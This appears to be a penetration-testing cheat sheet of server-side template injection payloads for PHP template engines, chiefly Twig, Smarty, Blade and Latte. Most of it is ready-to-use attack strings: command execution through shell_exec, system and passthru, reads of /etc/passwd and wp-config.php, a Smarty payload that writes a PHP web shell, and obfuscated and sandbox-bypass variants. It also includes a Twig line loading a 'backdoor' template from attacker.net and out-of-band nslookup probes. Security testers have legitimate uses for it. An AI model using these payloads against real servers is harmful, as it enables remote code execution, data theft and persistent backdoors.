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Server Side Template Injection - PHP

Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.

Summary

Templating Libraries

Template Name Payload Format
Blade (Laravel) {{ }}
Latte { }
Mustache {{ }}
Plates <?= ?>
Smarty { }
Twig {{ }}

Universal Payloads

Generic code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.

To use these payloads, wrap them in the appropriate tag.

// Rendered RCE
shell_exec('id')
system('id')

// Error-Based RCE
ini_set("error_reporting", "1") // Enable verbose fatal errors for Error-Based
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
include(join("", ["Y:/A:/", shell_exec('id')]))
join("", ["xx", shell_exec('id')])()

// Boolean-Based RCE
1 / (pclose(popen("id", "wb")) == 0)

// Time-Based RCE
shell_exec('id && sleep 5')
system('id && sleep 5')

Blade

Universal payloads also work for Blade.

Official website

Blade is the simple, yet powerful templating engine that is included with Laravel.

The string id is generated with {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}.

{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Smarty

Universal payloads also work for Smarty before v5.

Official website

Smarty is a template engine for PHP.

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3, deprecated in v5
{system('cat index.php')} // compatible v3, deprecated in v5

Smarty - Code Execution with Obfuscation

By employing the variable modifier cat, individual characters are concatenated to form the string "id" as follows: {chr(105)|cat:chr(100)}.

Execute system comman (command: id):

{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Twig

Official website

Twig is a modern template engine for PHP.

Twig - Basic Injection

{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}

Twig - Template Format

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Twig - Arbitrary File Reading

"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}

Twig - Code Execution

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}

{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // Enable verbose error output for Error-Based
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // Error-Based RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // Error-Based RCE >=1.41, >=2.10, >=3.0

{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE <= 1.19
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // Boolean-Based RCE >=1.41, >=2.10, >=3.0
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // Boolean-Based RCE with sandbox bypass using CVE-2022-23614

With certain settings, Twig interrupts rendering, if any errors or warnings are raised. This payload works fine in these cases:

{{ {'id':'shell_exec'}|map('call_user_func')|join }}

Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)

FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}

Example with an email passing FILTER_VALIDATE_EMAIL PHP.

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Twig - Code Execution with Obfuscation

Twig's block feature and built-in _charset variable can be nesting can be used to produced the payload (command: id)

{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

The following payload, which harnesses the built-in _context variable, also achieves RCE – provided that the template engine performs a double-rendering process:

{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

Reference and explanation of payload can be found yeswehack/server-side-template-injection-exploitation.

Latte

Universal payloads also work for Latte.

Latte - Basic Injection

{var $X="POC"}{$X}

Latte - Code Execution

{php system('nslookup oastify.com')}

patTemplate

patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts

<patTemplate:tmpl name="page">
  This is the main page.
  <patTemplate:tmpl name="foo">
    It contains another template.
  </patTemplate:tmpl>
  <patTemplate:tmpl name="hello">
    Hello {NAME}.<br/>
  </patTemplate:tmpl>
</patTemplate:tmpl>

PHPlib and HTML_Template_PHPLIB

HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.

authors.tpl

<html>
 <head><title>{PAGE_TITLE}</title></head>
 <body>
  <table>
   <caption>Authors</caption>
   <thead>
    <tr><th>Name</th><th>Email</th></tr>
   </thead>
   <tfoot>
    <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
   </tfoot>
   <tbody>
<!-- BEGIN authorline -->
    <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
   </tbody>
  </table>
 </body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
    'Christian Weiske'  => 'cweiske@php.net',
    'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
    $t->setVar('AUTHOR_NAME', $name);
    $t->setVar('AUTHOR_EMAIL', $email);
    $t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Plates

Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.

controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

page template:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

layout template:

<html>
  <head>
    <title><?=$this->e($title)?></title>
  </head>
  <body>
    <?=$this->section('content')?>
  </body>
</html>

References